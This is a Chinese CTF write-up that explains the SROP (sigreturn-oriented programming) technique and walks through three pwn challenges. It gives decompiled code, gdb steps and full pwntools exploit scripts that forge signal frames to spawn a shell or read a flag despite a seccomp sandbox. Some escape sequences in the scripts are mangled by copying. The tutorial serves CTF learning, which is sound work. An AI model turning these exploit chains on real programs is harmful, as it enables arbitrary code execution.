CTF竞赛 -- SROP详解

admin 2023年8月20日14:52:55评论31 views字数 9936阅读33分7秒阅读模式

SROP详解

这篇文章有一些点一开始不怎么懂,在和blonet师傅的交流下学到了好多,感谢感谢Orz

前言

在打NepCTF2023的时候,pwn的第一题就是srop,但是我发现我好像没学hhh,当时比赛的时候恶补了一下,赛后整理一下写一篇文章吧。

什么是SROP

SROP全称为(Sigreturn Oriented Programming),在ctfwiki中将其归类为了高级ROP,其中,sigreturn是一个系统调用,在类 unix 系统发生 signal 的时候会被间接地调用,其实就是利用了linux中的系统调用号,利用linux下的15号系统调用号调用->rt_sigreturn

signal机制

这里基础知识就搬运ctfwiki上的了,讲解的我觉得很全面了,我也会进行添加补充讲解,便于理解。

signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:

CTF竞赛 -- SROP详解

  1. 内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。

  2. 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。

CTF竞赛 -- SROP详解

这一段内存也被称为Signal Frame

通俗一点讲解,其实就是

①保存上下文环境(即各种寄存器),接下来走到②执行信号处理函数,处理完后③恢复相关栈环境,④继续执行用户程序。而在恢复寄存器环境时没有去校验这个栈是不是合法的,如果我们能够控制栈,就能在恢复上下文环境这个环节直接设定相关寄存器的值。

漏洞利用

通过上面对面signal机制的认识,我们可以敏锐的发现,在1~2的过程中,此时我们保存的sigFrame是完全在用户空间的,也就是对于进程来说可读可写,而且其实SROP利用的最根本的漏洞是因为,在1的时候内核对于进程挂起后保存下的sigFrame以及恢复环境是的sigFrame是没有关联的,所以我们可以伪造sigFrame从而利用syscall进行调用恶意进程。

总结一下就是:

用于在内核在恢复上下文的时候并没有与保存的上下文做对比,同时内核在恢复上下文时是从构造的Signal Frame中pop出来各个寄存器的值,而此时的Signal Frame是在栈里的并且用户是可读可写的。这两点疏忽就导致了我们可以伪造Signal Frame之后主动执行sigreturn来控制每个寄存器的值。

举个简单的例子,我们修改各个寄存器的值为

rax=59 //linux系统调用号59在64位下对应->execve()rdi='/bin/sh0'rsi=0x0rdx=0x0

这样其实就是就可以进行getshell,这其实也就是最简单的一个SROP

使用SROP的前提

  • 首先程序必须存在溢出,能够控制返回地址。

  • 可以去系统调用sigreturn(如果找不到合适的系统调用号,可以看看能不能利用read函数来控制RAX的值)

  • 必须能够知道/bin/sh的地址,如果写的bss段,直接写地址就行,如果写到栈里,还需要想办法去泄露栈地址。

  • 允许溢出的长度足够长,这样可以去布局我们想要的寄存器的值

  • 需要知道syscall指令的地址

讲点特殊的:

我们上面所说的SROP都是只能调用一个syscall,其实我们可以一直劫持从而构造一个SROP链的

CTF竞赛 -- SROP详解

可以看一下上图构造的栈结构,我们将rsp中的内容填入下一个片段的rt_sigreturn的地址,而且rip的地址一直指向syscall;ret,

需要特别注意的是一定要存在ret,不然我们无法返回到下一个片段。

至此即可构造SROP链。

实操

ciscn_2019_s_3

简单的srop

checksec

CTF竞赛 -- SROP详解

IDA分析

main()

int __cdecl main(int argc, const char **argv, const char **envp){  return vuln(argc, argv, envp);}

调用了vuln()函数

vuln()

signed __int64 vuln(){  signed __int64 v0; // rax  char buf[16]; // [rsp+0h] [rbp-10h] BYREF  v0 = sys_read(0, buf, 0x400uLL);  return sys_write(1u, buf, 0x30uLL);}

就是一个简单的栈溢出,而且还进行系统调用了execve()等函数

gadgets

__int64 gadgets(){  return 15LL;}

sub_4004E2()

__int64 sub_4004E2(){  return 59LL;}

这个其实就是64位下的execve()的系统调用号

gdb动调

b main

CTF竞赛 -- SROP详解

这是此时的栈顶地址

0x7fffffffdfb8

CTF竞赛 -- SROP详解

看一下现在栈上写入'aaaaaaaa'的地址

x/8gx 0x7fffffffdea0

CTF竞赛 -- SROP详解

这里显然就是栈上的位置了,所以我们这样其实就泄露了栈地址

0x7fffffffdfb8-0x7fffffffdea0=0x118

我们现在已经知道了偏移量了,现在就是不知道这个地址到写入binsh的电地址的距离,可以利用vuln()中的write打印出来。

exp:

#coding=utf-8 import osimport sysimport timefrom pwn import *from ctypes import *context.log_level='debug'context.arch='amd64'p=remote("node4.buuoj.cn",27757)#p=process('./pwn')elf = ELF('./pwn')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')s       = lambda data               :p.send(data)ss      = lambda data               :p.send(str(data))sa      = lambda delim,data         :p.sendafter(str(delim), str(data))sl      = lambda data               :p.sendline(data)sls     = lambda data               :p.sendline(str(data))sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))r       = lambda num                :p.recv(num)ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)itr     = lambda                    :p.interactive()uu32    = lambda data               :u32(data.ljust(4,b'x00'))uu64    = lambda data               :u64(data.ljust(8,b'x00'))leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))l64     = lambda      :u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00"))l32     = lambda      :u32(p.recvuntil("xf7")[-4:].ljust(4,b"x00"))context.terminal = ['gnome-terminal','-x','sh','-c']def dbg():    gdb.attach(p,'b *$rebase(0x13aa)')    pause()vuln=elf.symbols['vuln']leak('vuln',vuln)gadget=0x00000000004004DAsyscall_ret=0x0000000000400517pl='a'*0x10+p64(vuln)s(pl)binsh=l64()-0x118leak('binsh',binsh)sigFrame=SigreturnFrame()sigFrame.rax=59sigFrame.rdi=binshsigFrame.rsi=0x0sigFrame.rdx=0x0sigFrame.rip=syscall_retpl2='/bin/sh0'*2+p64(gadget)+p64(syscall_ret)+str(sigFrame)s(pl2)p.interactive()

CTF竞赛 -- SROP详解

解释一下exp:

CTF竞赛 -- SROP详解

  • 第一个框,可以结合vuln()的汇编语言,可以看到直接ret了,所以我们栈溢出之后直接到了ret_addr,我们返回到vuln(),利用write打印出可以写入binsh的地址

CTF竞赛 -- SROP详解

  • 第二个框,我们由上面gdb动调可以得知栈上的偏移为0x118,所以写入的binsh的地址就是栈上的地址减去偏移量

  • 第三个框,这里就是构造伪造的sigFrame了,将rax设置为系统调用号59(也就是execve),rdi设置为我们binsh的地址,rip设为syscall_ret的地址,然后rsi设置为0即可

  • 第四个框,先写入0x10字节的binsh,然后利用gadgets()中的这一段gadget,从而进行调用sigFrame,从而getshell

CTF竞赛 -- SROP详解

rootersctf_2019_srop

构造srop链

checksec

CTF竞赛 -- SROP详解

IDA

start()

void __noreturn start(){  signed __int64 v0; // rax  sub_401000();  v0 = sys_exit(0);}

调用了一个sub_401000(),之后系统调用exit()退出

sub_401000()

signed __int64 sub_401000(){  signed __int64 v0; // rax  char buf[128]; // [rsp+0h] [rbp-80h] BYREF  v0 = sys_write(1u, ::buf, 0x2AuLL);  return sys_read(0, buf, 0x400uLL);}

先系统调用write打印字符,之后再调用read进行读取0x400的内容,典型的栈溢出,然后在data段开辟了128大小的buf,可以用来写入数据

gdb动调

断点打在sub_401000()

CTF竞赛 -- SROP详解

看一下写入栈的情况

x/8gx 0x7fffffffdf10

CTF竞赛 -- SROP详解

发现无法泄露栈地址

这个时候就要采取第二种思路了,构造srop链,先构造一个伪造的栈空间将binsh写入data段,之后再进行一次srop调用execve()从而getshell

exp:

#coding=utf-8 import osimport sysimport timefrom pwn import *from ctypes import *context.log_level='debug'context.arch='amd64'#p=remote("node4.buuoj.cn",26002)p=process('./pwn')elf = ELF('./pwn')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')s       = lambda data               :p.send(data)ss      = lambda data               :p.send(str(data))sa      = lambda delim,data         :p.sendafter(str(delim), str(data))sl      = lambda data               :p.sendline(data)sls     = lambda data               :p.sendline(str(data))sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))r       = lambda num                :p.recv(num)ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)itr     = lambda                    :p.interactive()uu32    = lambda data               :u32(data.ljust(4,b'x00'))uu64    = lambda data               :u64(data.ljust(8,b'x00'))leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))l64     = lambda      :u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00"))l32     = lambda      :u32(p.recvuntil("xf7")[-4:].ljust(4,b"x00"))context.terminal = ['gnome-terminal','-x','sh','-c']def dbg():    gdb.attach(p,'b *$rebase(0x13aa)')    pause()syscall_ret=0x0000000000401033pop_syscall=0x0000000000401032buf=0x0000000000402000#fake stacksigFrame=SigreturnFrame()sigFrame.rax=0sigFrame.rdi=0sigFrame.rbp=buf+0x20sigFrame.rsi=bufsigFrame.rdx=0x1000sigFrame.rip=syscall_retru('?')pl=b'a'*0x88+p64(pop_syscall)+p64(15)+bytes(sigFrame)sl(pl)gdb.attach(p)pause()#getshellsigFrame=SigreturnFrame()sigFrame.rax=59sigFrame.rdi=bufsigFrame.rsi=0sigFrame.rdx=0sigFrame.rip=syscall_retpl2=b'/bin/sh0'pl2=pl2.ljust(0x28,b'A')pl2 += p64(pop_syscall)+p64(15)+bytes(sigFrame)sl(pl2)p.interactive()

CTF竞赛 -- SROP详解

解释一下exp:

CTF竞赛 -- SROP详解

  • 第一个框,这里就是我所说的利用sigFrame构造一个伪造的栈空间,调用read(),便于我们输入binsh,注意一下这里rdx一定要设置的空间大一点,5555,一开始没打出来就是因为空间太小了

  • 第二个框,这里其实就是构造SROP链的精髓,要再调用rt_sigreturn,从而构造我们的SROP链

  • 第三个框,这里其实就是常规操作,调用execve(),注意这里binsh地址要写入buf的地址,buf是在data段的,我们可以写入数据

  • 第四个框,这里先写入binsh,之后再将fake_stack进行溢出,将ret_addr写为我们的pop_syscall的rop地址,然后就可以getshell

V&N2020 babybabypwn

orw+srop

checksec

CTF竞赛 -- SROP详解

64位程序,保护全开

seccomp-tools

CTF竞赛 -- SROP详解

存在沙箱,但是没有现成的orw,存在mmap

IDA分析

main()

__int64 __fastcall main(__int64 a1, char **a2, char **a3){  sub_11B5(a1, a2, a3);  sub_1202();  sub_1347();  return 0LL;}

sub_11B5()

unsigned int sub_11B5(){  setbuf(stdin, 0LL);  setbuf(stdout, 0LL);  setbuf(stderr, 0LL);  return alarm(0x3Cu);}

禁用标准输入、标准输出和标准错误流的缓冲,然后设置一个定时器警报并返回定时器的初始值

sub_1202()

__int64 sub_1202(){  __int64 v1; // [rsp+8h] [rbp-8h]  v1 = seccomp_init(0x7FFF0000LL);  seccomp_rule_add(v1, 0LL, 41LL, 0LL);  seccomp_rule_add(v1, 0LL, 42LL, 0LL);  seccomp_rule_add(v1, 0LL, 49LL, 0LL);  seccomp_rule_add(v1, 0LL, 50LL, 0LL);  seccomp_rule_add(v1, 0LL, 56LL, 0LL);  seccomp_rule_add(v1, 0LL, 59LL, 0LL);  seccomp_rule_add(v1, 0LL, 10LL, 0LL);  seccomp_rule_add(v1, 0LL, 9LL, 0LL);  seccomp_rule_add(v1, 0LL, 57LL, 0LL);  return seccomp_load(v1);}

这里就是开启了沙箱保护,和我们seccomp-tools分析的其实一样

sub_1347()

unsigned __int64 sub_1347(){  char buf[264]; // [rsp+0h] [rbp-110h] BYREF  unsigned __int64 v2; // [rsp+108h] [rbp-8h]  v2 = __readfsqword(0x28u);  puts("Welcome to v&n challange!");  printf("Here is my gift: 0x%llxn", &puts);  printf("Please input magic message: ");  read(0, buf, 0x100uLL);  syscall(15LL);  return __readfsqword(0x28u) ^ v2;}

这里是程序最关键的函数部分,先开启了一个canary检测,这里已经给出了puts()在栈上的地址了,我们可以进行leak libc基地址,从而获得orw,不存在溢出。

思路:

  • 由上面得知,我们可以进行泄露libc基地址,所以我们可以获得orw

  • 我们没法进行溢出,但是可以利用伪造的sigFrame构造一个fake_stack,之后再进行栈溢出

  • 进行orw

exp:

#coding=utf-8 import osimport sysimport timefrom pwn import *from ctypes import *context.log_level='debug'context.arch='amd64'p=process('./pwn')elf = ELF('./pwn')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')s       = lambda data               :p.send(data)ss      = lambda data               :p.send(str(data))sa      = lambda delim,data         :p.sendafter(str(delim), str(data))sl      = lambda data               :p.sendline(data)sls     = lambda data               :p.sendline(str(data))sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))r       = lambda num                :p.recv(num)ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)itr     = lambda                    :p.interactive()uu32    = lambda data               :u32(data.ljust(4,b'x00'))uu64    = lambda data               :u64(data.ljust(8,b'x00'))leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))l64     = lambda      :u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00"))l32     = lambda      :u32(p.recvuntil("xf7")[-4:].ljust(4,b"x00"))context.terminal = ['gnome-terminal','-x','sh','-c']def dbg():    gdb.attach(p,'b *$rebase(0x13aa)')    pause()ru('gift: ')puts=int(r(14),16)leak('puts',puts)libcbase=puts-libc.symbols['puts']leak('libcbase',libcbase)open_addr=libcbase+libc.symbols['open']leak('open_addr',open_addr)read_addr=libcbase+libc.symbols['read']leak('read_addr',read_addr)write_addr=libcbase+libc.symbols['write']leak('write_addr',write_addr)bss=libcbase+libc.bss()leak('bss',bss)rdi_ret=libcbase+0x0000000000021112leak('rdi_ret',rdi_ret)rsi_ret=libcbase+0x00000000000202f8leak('rsi_ret',rsi_ret)rdx_ret=libcbase+0x0000000000001b92leak('rdx_ret',rdx_ret)buf_addr=bss+0x400sigFrame=SigreturnFrame()sigFrame.rdi=0sigFrame.rip=read_addrsigFrame.rsi=buf_addrsigFrame.rdx=0x200sigFrame.rsp=buf_addrpl=str(sigFrame)[8:]p.sendlineafter('Please input magic message: ',pl)gdb.attach(p)pause()flag=buf_addr+0x98pl1=p64(rdi_ret)+p64(flag)+p64(rsi_ret)+p64(0)+p64(open_addr) #openpl1+=p64(rdi_ret)+p64(3)+p64(rsi_ret)+p64(bss+0x200)+p64(rdx_ret)+p64(0x100)+p64(read_addr) #readpl1+=p64(rdi_ret)+p64(1)+p64(rsi_ret)+p64(bss+0x200)+p64(rdx_ret)+p64(0x100)+p64(write_addr) #writepl1+='flag0's(pl1)p.interactive()

解释一下exp:

CTF竞赛 -- SROP详解

  • 第一个框,这里是利用libc的bss段写入我们的数据,经过ROPgadget查找,发现原二进制文件可利用的gadget比较少,于是利用libc中的gadget构造rop

  • 第二个框,这里和之前的不一样,IDA分析可以得知,这里不是系统调用的syscall(),而是利用的syscall()函数,所以直接调用read()即可,将rip和rsp设置为bss段上的某段用来写入rop的buf_addr,

    这里尤其说明一下为什么从第8个字节开始才是我们需要的sigFrame,这里需要对于call这个汇编指令的理解

    call其实就是进入一个函数,执行完这个函数之后当返回下一个执行call的指令时,要先把call下面的一条指令压入栈中

    通俗一点讲就是:在执行call之前,程序会将call的下一条指令压入栈,当执行到ret的时候,就又恢复到了原来的栈布局。

    所以我们从第8个字节开始接收sigFrame就是这个原因(如下图IDA分析可见,这里是call syscall这个函数的,而不是进行系统调用)

CTF竞赛 -- SROP详解

  • 第三个框,我们这里是写入flag的地址

  • 第四个框,我们这里是构造orw,不要忘记最后还要写入我们的flag字符

参考

SROP - CTF Wiki (ctf-wiki.org)


关 注 有 礼

欢迎关注公众号:网络安全者

本文内容来自网络,如有侵权请联系删除

原文始发于微信公众号(网络安全者):CTF竞赛 -- SROP详解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月20日14:52:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTF竞赛 -- SROP详解http://cn-sec.com/archives/1965244.html

发表评论

匿名网友 填写信息